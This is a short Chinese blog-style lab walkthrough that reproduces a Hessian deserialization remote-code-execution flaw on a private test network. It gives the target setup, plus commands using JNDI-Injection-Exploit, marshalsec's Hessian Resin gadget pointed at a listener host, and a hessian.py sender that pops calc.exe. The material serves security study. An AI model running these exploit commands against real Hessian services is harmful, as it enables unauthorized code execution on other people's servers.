摘要：
Hessian反序列化RCE漏洞目标构建安装Java安装Tomcat部署Hessianhttps://raw.githubusercontent.com/21superman/Hessian-Deserialize-RCE/master/HessianTest.war访问：http：
Hessian反序列化RCE漏洞
靶机搭建- 安装java
- 安装tomcat
- 部署Hessian
https://raw.githubusercontent.com/21superman/Hessian-Deserialize-RCE/master/HessianTest.war
访问:http://192.168.31.36:8080//HessianTest/hessian
java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C calc.exe -A 192.168.31.102
- -C为需要执行的命令
- -A为监听地址
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.Hessian Resin http://192.168.31.102:8180/ ExecTemplateJDK7>hession
python hessian.py -u http://192.168.31.36:8080/HessianTest/hessian -p hession
这里的报错是因为我python环境的问题
这里我踩了一个坑,hessian.py里需要用到一个argparse包,我本机的环境一直出问题,最后更新了pip,更新了argparse包才搞定
- 命令执行成功
HTTP发送二进制的数据包 ???
参考:https://www.freebuf.com/vuls/224280.html